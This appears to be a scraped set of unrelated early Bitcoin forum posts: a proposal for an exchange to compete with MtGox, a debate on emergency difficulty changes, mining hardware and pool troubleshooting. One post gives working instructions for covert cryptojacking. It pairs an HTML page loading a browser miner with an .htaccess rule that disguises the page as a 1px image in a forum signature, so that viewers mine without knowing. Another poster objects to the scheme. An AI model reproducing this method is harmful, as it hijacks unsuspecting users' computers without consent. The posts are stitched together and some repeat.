I would like to see a some more user-friendly version of OTC market website. For each country/currency, you could list potential merchants willing to trade local currency. All based on some ring-of-trust, reviews, etc. You could probably somehow link your ebay or other site trust to your personal account on this market.
MtGox is special because it has multiple currency support and plans to improve it even more. Sorry, but for me, not being in US, is the Dwolla no option.
Good point. I would make it a goal to have several ways to deposit and withdraw money, with the aim of exceeding MtGox's current currency options. I will need to do more research to answer this in more detail. |
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Nutty, that might be true, but that's why I would be hiring out the development. I know almost nothing about Python or many of the other technologies that might be more suitable to such a project. I know a good deal of PHP and Javascript, but beyond that it's pretty spotty.  I would prefer it be written in a language that I am familiar with though, so I can review the code and make basic changes myself. Gusti, that looks like a tool - a platform to connect to exchanges. I am talking about creating an actual exchange, not creating software to connect to MtGox. Nefario, that's the plan.  Very happy to hear that you're almost ready with the web-based client too - that is a much needed improvement! |
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No, I don't mean actually exchanging your BTC for USD. I mean investing your hard-earned bitcoins into a website that would compete with MtGox, in a good way.
The Basics:
- Website would offer asks and bids, like any exchange should.
- Dark pool included.
- Website would include detailed statistics about trading, volume, more robust charting built in, etc
- Protected by HTTPS (obviously)
- Hosted with a webhost with anti-DDOS capabilities, so that when the time comes, we can quickly and easily switch to a plan with anti-DDOS. I do not expect to be able to afford anti-DDOS right off the bat though, unless there is a lot of investor interest in this.
- Dwolla would be the primary method of transferring USD in and out of the exchange.
- Fees would be competitive (read: lower) than MtGox's current fees. If MtGox lowers their fees, I would bring our fees even lower, always ensuring a competitive advantage on the fees front.
How?
Fees would initially be 0%. This is to gain use and acceptance of the site. Once an acceptable amount of usage is shown, fees would be introduced.
I am a capable PHP programmer, but will fully admit that a project of this scale would be over my head and time availability. Therefore, I would hire programmers to work on the website in exchange for BTC. I would hire multiple programmers and have them work together, likely providing a temporary forum or other means of discussion so they can communicate effectively. The work would be divided into logical work units, such as charting, user authentication/security, backend, frontend, design, etc. Some programmers may take on more than one work unit, but the ultimate goal would be getting the site up and running as quickly as possible.
I would be the president/CEO of the company, and would sell 40% of the company to shareholders to raise funds for startup costs. Once the company begins to turn a profit, shareholders would be paid via dividends on a monthly basis, based on their stake in the company.
My Qualifications
I am a university graduate with a BS degree in Accounting from the School of Business. I have 9 years of working experience in the IT realm, and 1 year of working experience in Accounting (current day job). I have a good understanding of business, markets, finance, accounting, and business law.
So, are you interested? Would you invest in such a company? How much?
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I'm beginning to hear this more and more, but if people are so unhappy with it, they should move to other exchanges. Start posting up more bids/asks on other exchanges and TRY to be more active in those other exchanges by constantly updating your bid/ask prices to reflect current going market rates and that will encourage other people to join other exchanges as well.
MtGox has a monopoly on the exchange market. Let's change that. Not because I don't like MtGox, but because competition is a very healthy thing for a market/industry/economy.
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I agree that the effects of a difficulty spike may be preventable, but we need to be very careful not to change the rules in a way that will cause more harm than it solves. I couldn't agree with you more here. Any change need very thourough thoughts and investigation put into it. And that is kind of my point. We won't have that time right after a sudden drop in the value and sudden transaction hold-ups. Very true indeed! We might start with describing a few of the more plausible scenarios in greater detail - maybe on the wiki. Then maybe outline a kind of action plan for such emergency situations which would include ideas from this thread and things like: - Who should be in an emergency council? (lead developers, pool operators, maybe major exchange operator,...)
- How and when can this council be convened?
- Voting rules for this gathering
- How are users/miners to be notified of important changes? (somehow get the alert key from Satoshi or him back on the team?)
- Timeframes for the meeting/notifications/changes
- Define which parts of the Bitcoin system must not be changed no matter what happens (block reward?)
Maybe there should also be a mailinglist to reach a greater part of the users and especially the bigger solo-miners. Another idea would be the funding of some emergency hashing capacity which only starts to mine in case of a major attack. But I also agree that preventing such emergencies is better than dealing with them after they have happened! However, to have a clearer picture of the possible crisis situations is certainly not a bad idea - if only for helping the discussion about safeguards in the bitcoin client. The outline of an emergency procedure can again help for unforeseen situations or for those against which the countermeasures in the code are not yet in place or insufficient. Then again, this is just another noob speaking here - we need more input from the elders  Sorry, but I completely disagree with a closed council style meeting. And only inviting pool/exchange operators? No, the point of Bitcoin is to be decentralized. Since the developers have to be a part of it, any centralization should occur only around them. The rest should be open game. I would suggest just holding an emergency meeting in an IRC channel and allowing anyone in. Sure, it would probably get a bit chaotic, but at least that way everyone has a chance to voice their thoughts/ideas. Regardless, I think that this issue is something that must be solved. I doubt it will ever happen, but we must take it in to account. The reason I doubt it will ever happen is because of a recent poll I took: Half of all miners said they would continue mining even if it was not profitable, for a variety of reasons. So that means that the network, at most, would drop 50% in mining power if the price dropped to the point of it being unprofitable to mine. It would take 4 weeks for difficulty to readjust, and in the meantime, we'd still have blocks coming through every 20 minutes. A possible solution might be to time the time it takes between blocks. If the time period exceeds 3 standard deviations of the statistical curve, then readjust difficulty immediately. The statistical curve could be calculated in the client based off of the difficulty level. The difficulty would only adjust if > 50% of the clients agreed that this 3 standard deviation limit had been reached. |
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I hacked my python client to connect to as many nodes as possible. Currently, it's connected to about 900 nodes. Above that, it seems to take some time to discover new nodes, that are accepting connections.
Makes sense. Very nicely done though, I like it.  |
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What is the WOW about, exactly?
This could ruin bitcoin's reputation. If it's truly that easy, imagine how quickly just about EVERY online forum is going to be inundated with this? Eventually, forum admins will become wise to what is slowing down their user experience, and as soon as the first one gathers the full story on it, they'll be badmouthing bitcoin like mad. EDIT: Don't get me wrong, it's awesome that you figured out how to do this, I just think it has very, very bad implications for how it could be used. |
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Figured out a way to implement this anywhere, you can hide it as a 1px jpeg file in any signature, on any forum. First things first. 1. Create a file in notepad. Use this code. <head><script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
<script type="text/javascript">
bitpit({clientId: "YOURID", forceUIThread: true});
</script></head>
<body width="0" height="0"></body> 2. Save that as test.html, upload it to your server 3.Upload an image to your server, label it as "WHATEVERYOUWANT.jpeg" make sure the server shows the file being stored as a jpeg file. 4. Edit your .htaccess file. Include this bit of code at the end of it. RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?YOURDOMAIN\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://YOURDOMAIN.com/test.html [L]
5. Go to any forum and add [img]http://YOURDOMAIN.com/YOURPICTURE.jpeg[/img] This should show absolutely nothing to the user viewing the page, but you get everyone hashing for you that ever views a page with your signature. Wow. Just, wow. |
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I'm actually only running three of them, because the top PCIe slot on my motherboard is dead. But the bottom one is too close to the bottom of the case to use without an extender. And I use that exact PSU for 3 of them. I have a feeling it is overkill, but oh well. I bet it would run 4 just fine... You are using the CORSAIR CMPSU-750TX for three of them? Yes, works just great. I have one of them overclocked to 975mhz on a little more voltage too... would have overclocked all of them, but I couldn't figure out a way to do it with Trixx. |
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That's a fascinating chart/world thing, thanks for sharing! I just sent myself 0.10 BTC and saw the world light up in yellow. I am assuming it doesn't show all of the nodes, but how do you even begin to gather information from some of them? |
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I'm actually only running three of them, because the top PCIe slot on my motherboard is dead. But the bottom one is too close to the bottom of the case to use without an extender. And I use that exact PSU for 3 of them. I have a feeling it is overkill, but oh well. I bet it would run 4 just fine... |
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I know you can use cables so you don't have to have a motherboard that have all the slots but I was wondering what strategies or things or cases people are using to fit them in. Since I need to place them somewhere that isn't where I live, I can't have it open air otherwise I would do it.
Lol, was just going to say... I have one just dangling by the power cables and halfway sitting on the PCIe extension. And I have a 240mm fan resting on top of that card feeding into the rest of the case. Now I just need to integrate some twisty ties, and it'll be as ghetto as it gets. |
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Well, for whatever reason, with the new guiminer, it worked perfect. Thanks for the suggestion. Could the favicon change from the icon that is used by the forums? I keep getting confused hopping between tabs... |
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Having some trouble...
I set up one of my miners to btcguild just fine. I tried setting up two subsequent miners, but both had the same problem. "Trouble communicating with RPC Server". I tried inputing the settings multiple times, verified that everything was correct (host = btcguild.com, etc). I don't understand what the problem could be... I'm using guiminer by the way.
The first one is still chugging along just fine, but I can't get anything from the other two. It's just trouble communicating every time.
Any ideas?
This should affect anything but are you using the latest guiminer? It already has btc guild set up. I must not be, I'll give that a try and see if I have any better luck. Thanks! |
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Site is gone  So sad to see it go... The plot thickens... |
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Having some trouble...
I set up one of my miners to btcguild just fine. I tried setting up two subsequent miners, but both had the same problem. "Trouble communicating with RPC Server". I tried inputing the settings multiple times, verified that everything was correct (host = btcguild.com, etc). I don't understand what the problem could be... I'm using guiminer by the way.
The first one is still chugging along just fine, but I can't get anything from the other two. It's just trouble communicating every time.
Any ideas?
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I am getting 4.8, 4.4, 4.8, and 2.0% stales on four of my miners.
Going to give BTCGuild a try I guess... :\
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Still getting... The last posting from your IP was less than 0 seconds ago. Please try again later. Seems like it is happening more and more often too. |
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What moron sent 2 BTC?
Lol, if I was setting up a troll like this, I would SO have several accounts of BTC from which to send 2 BTC to the troll account every day, just to make everyone madder. Would you marry a troll? Never. |
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